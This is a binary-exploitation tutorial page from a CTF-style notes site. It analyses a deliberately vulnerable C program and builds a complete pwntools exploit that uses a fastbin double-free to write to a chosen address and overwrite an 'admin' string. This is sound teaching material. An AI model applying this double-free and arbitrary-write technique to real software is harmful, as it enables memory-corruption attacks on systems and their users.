Cybersecurity Notes
MathematicsCryptography
  • Cybersecurity Notes
  • Binary Exploitation
    • Stack
      • Introduction
      • ret2win
      • De Bruijn Sequences
      • Shellcode
      • NOPs
      • 32- vs 64-bit
      • No eXecute
      • Return-Oriented Programming
        • Calling Conventions
        • Gadgets
        • Exploiting Calling Conventions
        • ret2libc
        • Stack Alignment
      • Format String Bug
      • Stack Canaries
      • PIE
        • Pwntools, PIE and ROP
        • PIE Bypass with Given Leak
        • PIE Bypass
      • ASLR
        • ASLR Bypass with Given Leak
        • PLT and GOT
        • ret2plt ASLR bypass
      • GOT Overwrite
        • Exploiting a GOT overwrite
      • RELRO
      • Reliable Shellcode
        • ROP and Shellcode
        • Using RSP
        • ret2reg
          • Using ret2reg
      • One Gadgets and Malloc Hook
      • Syscalls
        • Exploitation with Syscalls
        • Sigreturn-Oriented Programming (SROP)
          • Using SROP
      • ret2dlresolve
        • Exploitation
      • ret2csu
        • Exploitation
        • CSU Hardening
      • Exploiting over Sockets
        • Exploit
        • Socat
      • Forking Processes
      • Stack Pivoting
        • Exploitation
          • pop rsp
          • leave
    • Heap
      • Introduction to the Heap
      • Chunks
      • Freeing Chunks and the Bins
        • Operations of the Fastbin
        • Operations of the Other Bins
      • Malloc State
      • malloc_consolidate()
      • Heap Overflow
        • heap0
        • heap1
      • Use-After-Free
      • Double-Free
        • Double-Free Protections
        • Double-Free Exploit
      • Unlink Exploit
      • The Tcache
        • Tcache: calloc()
        • Tcache Poisoning
      • Tcache Keys
      • Safe Linking
    • Kernel
      • Introduction
      • Writing a Char Module
        • An Interactive Char Driver
        • Interactivity with IOCTL
      • A Basic Kernel Interaction Challenge
      • Compiling, Customising and booting the Kernel
      • Double-Fetch
        • Double-Fetch without Sleep
      • The Ultimate Aim of Kernel Exploitation - Process Credentials
      • Kernel ROP - ret2usr
      • Debugging a Kernel Module
      • SMEP
        • Kernel ROP - Disabling SMEP
        • Kernel ROP - Privilege Escalation in Kernel Space
      • SMAP
      • modprobe_path
      • KASLR
      • KPTI
    • Browser Exploitation
      • *CTF 2019 - oob-v8
        • The Challenge
      • picoCTF 2021 - Kit Engine
      • picoCTF 2021 - Download Horsepower
  • Reverse Engineering
    • Strings in C++
    • C++ Decompilation Tricks
    • Reverse Engineering ARM
  • Blockchain
    • An Introduction to Blockchain
  • Smart Contracts and Solidity
  • Hosting a Testnet and Deploying a Contract
  • Interacting with Python
  • Writeups
    • Hack The Box
      • Linux Machines
        • Easy
          • Traceback
        • Medium
          • Magic
          • UpDown
        • Hard
          • Intense
      • Challenges
        • Web
          • Looking Glass
          • Sanitize
          • Baby Auth
          • Baby Website Rick
        • Pwn
          • Dream Diary: Chapter 1
            • Unlink Exploit
            • Chunk Overlap
          • Ropme
    • picoGym
      • Cryptography
        • Mod 26
        • Mind Your Ps and Qs
        • Easy Peasy
        • The Numbers
        • New Caesar
        • Mini RSA
        • Dachshund Attacks
        • No Padding, No Problem
        • Easy1
        • 13
        • Caesar
        • Pixelated
        • Basic-Mod1
        • Basic-Mod2
        • Credstuff
        • morse-code
        • rail-fence
        • Substitution0
        • Substitution1
        • Substitution2
        • Transposition-Trial
        • Vigenere
        • HideToSee
    • CTFs
      • Fword CTF 2020
        • Binary Exploitation
          • Molotov
        • Reversing
          • XO
      • X-MAS CTF 2020
        • Pwn
          • Do I Know You?
          • Naughty
        • Web
          • PHP Master
      • HTB CyberSanta 2021
        • Crypto
          • Common Mistake
          • Missing Reindeer
          • Xmas Spirit
          • Meet Me Halfway
  • Miscellaneous
    • pwntools
      • Introduction
      • Processes and Communication
      • Logging and Context
      • Packing
      • ELF
      • ROP
    • scanf Bypasses
    • Challenges in Containers
    • Using Z3
    • Cross-Compiling for arm32
Powered by GitBook
On this page
  • Analysis
  • Variables
  • main_loop()
  • createUser()
  • deleteUser()
  • complete_level()
  • Exploitation
  • Setup
  • Finding the Double-Free
  • Writing to the Fastbin Freelist
  • Getting the Arbitrary Write
  • Final Exploit
  • 32-bit

Was this helpful?

Export as PDF
  1. Binary Exploitation
  2. Heap
  3. Double-Free

Double-Free Exploit

Last updated 1 year ago

Was this helpful?

Still on Xenial Xerus, means both mentioned checks are still relevant. The bypass for the second check () is given to you in the form of fake metadata already set to a suitable size. Let's check the (relevant parts of) the source.

Analysis

Variables

char fakemetadata[0x10] = "\x30\0\0\0\0\0\0\0"; // so we can ignore the "wrong size" error
char admin[0x10] = "Nuh-huh\0";

// List of users to keep track of
char *users[15];
int userCount = 0;

The fakemetadata variable is the fake size of 0x30, so you can focus on the double-free itself rather than the protection bypass. Directly after this is the admin variable, meaning if you pull the exploit off into the location of that fake metadata, you can just overwrite that as proof.

users is a list of strings for the usernames, and userCount keeps track of the length of the array.

main_loop()

void main_loop() {
    while(1) {
        printf(">> ");

        char input[2];
        read(0, input, sizeof(input));
        int choice = atoi(input);

        switch (choice)
        {
            case 1:
                createUser();
                break;
            case 2:
                deleteUser();
                break;
            case 3:
                complete_level();
            default:
                break;
        }
    }
}

Prompts for input, takes in input. Note that main() itself prints out the location of fakemetadata, so we don't have to mess around with that at all.

createUser()

void createUser() {
    char *name = malloc(0x20);
    users[userCount] = name;

    printf("%s", "Name: ");
    read(0, name, 0x20);

    printf("User Index: %d\nName: %s\nLocation: %p\n", userCount, users[userCount], users[userCount]);
    userCount++;
}

createUser() allocates a chunk of size 0x20 on the heap (real size is 0x30 including metadata, hence the fakemetadata being 0x30) then sets the array entry as a pointer to that chunk. Input then gets written there.

deleteUser()

void deleteUser() {
    printf("Index: ");

    char input[2];
    read(0, input, sizeof(input));
    int choice = atoi(input);


    char *name = users[choice];
    printf("User %d:\n\tName: %s\n", choice, name, name);

    // Check user actually exists before freeing
    if(choice < 0 || choice >= userCount) {
        puts("Invalid Index!");
        return;
    }
    else {
        free(name);
        puts("User freed!");
    }
}

Get index, print out the details and free() it. Easy peasy.

complete_level()

void complete_level() {
    if(strcmp(admin, "admin\n")) {
        puts("Level Complete!");
        return;
    }
}

Checks you overwrote admin with admin, if you did, mission accomplished!

Exploitation

There's literally no checks in place so we have a plethora of options available, but this tutorial is about using a double-free, so we'll use that.

Setup

First let's make a skeleton of a script, along with some helper functions:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()


def create(name='a'):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Name: ', name)

def delete(idx):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Index: ', str(idx))

def complete():
    p.sendlineafter('>> ', '3')
    print(p.recvline())

Finding the Double-Free

As we know with the fasttop protection, we can't allocate once then free twice - we'll have to free once inbetween.

create('yes')
create('yes')
delete(0)
delete(1)
delete(0)

Let's check the progression of the fastbin by adding a pause() after every delete(). We'll hook on with radare2 using

r2 -d $(pidof vuln)

delete(0) #1

Due to its size, the chunk will go into Fastbin 2, which we can check the contents of using dmhf 2 (dmhf analyses fastbins, and we can specify number 2).

Looks like the first chunk is located at 0xd58000. Let's keep going.

delete(1)

The next chunk (Chunk 1) has been added to the top of the fastbin, this chunk being located at 0xd58030.

delete(0) #2

Boom - we free Chunk 0 again, adding it to the fastbin for the second time. radare2 is nice enough to point out there's a double-free.

Writing to the Fastbin Freelist

So let's write to fd, and see what happens to the fastbin. Remove all the pause() instructions.

create(p64(0x08080808))
pause()

Run, debug, and dmhf 2.

The last free() gets reused, and our "fake" fastbin location is in the list. Beautiful.

Let's push it to the top of the list by creating two more irrelevant users. We can also parse the fakemetadata location at the beginning of the exploit chain.

p.recvuntil('data: ')
fake_metadata = int(p.recvline(), 16) - 8

log.success('Fake Metadata: ' + hex(fake_metadata))

[...]

create('junk1')
create('junk2')
pause()

The reason we have to subtract 8 off fakemetadata is that the only thing we faked in the souce is the size field, but prev_size is at the very front of the chunk metadata. If we point the fastbin freelist at the fakemetadata variable it'll interpret it as prev_size and the 8 bytes afterwards as size, so we shift it all back 8 to align it correctly.

Now we can control where we write, and we know where to write to.

Getting the Arbitrary Write

First, let's replace the location we write to with where we want to:

create(p64(fake_metadata))

Now let's finish it off by creating another user. Since we control the fastbin, this user gets written to the location of our fake metadata, giving us an almost arbitrary write.

create('\x00' * 8 + 'admin\x00')
complete()

The 8 null bytes are padding. If you read the source, you notice the metadata string is 16 bytes long rather than 8, so we need 8 more padding.

$ python3 exploit.py
[+] Starting local process 'vuln': pid 8296
[+] Fake Metadata: 0x602088
b'Level Complete!\n'

Awesome - we completed the level!

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()


def create(name='a'):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Name: ', name)

def delete(idx):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Index: ', str(idx))

def complete():
    p.sendlineafter('>> ', '3')
    print(p.recvline())

p.recvuntil('data: ')
fake_metadata = int(p.recvline(), 16) - 8

log.success('Fake Metadata: ' + hex(fake_metadata))

create('yes')
create('yes')
delete(0)
delete(1)
delete(0)

create(p64(fake_metadata))
create('junk1')
create('junk2')

create('\x00' * 8 + 'admin\x00')
complete()

32-bit

Mixing it up a bit - you can try the 32-bit version yourself. Same principle, offsets a bit different and stuff. I'll upload the binary when I can, but just compile it as 32-bit and try it yourself :)

Now we have a double-free, let's allocate Chunk 0 again and put some random data. Because it's also considered free, the data we write is seen as being in the fd pointer of the chunk. Remember, the heap saves space, so fd when free is located exactly where data is when allocated (probably explained better ).

here
malloc() memory corruption
5KB
double-free.zip
archive
Double-Free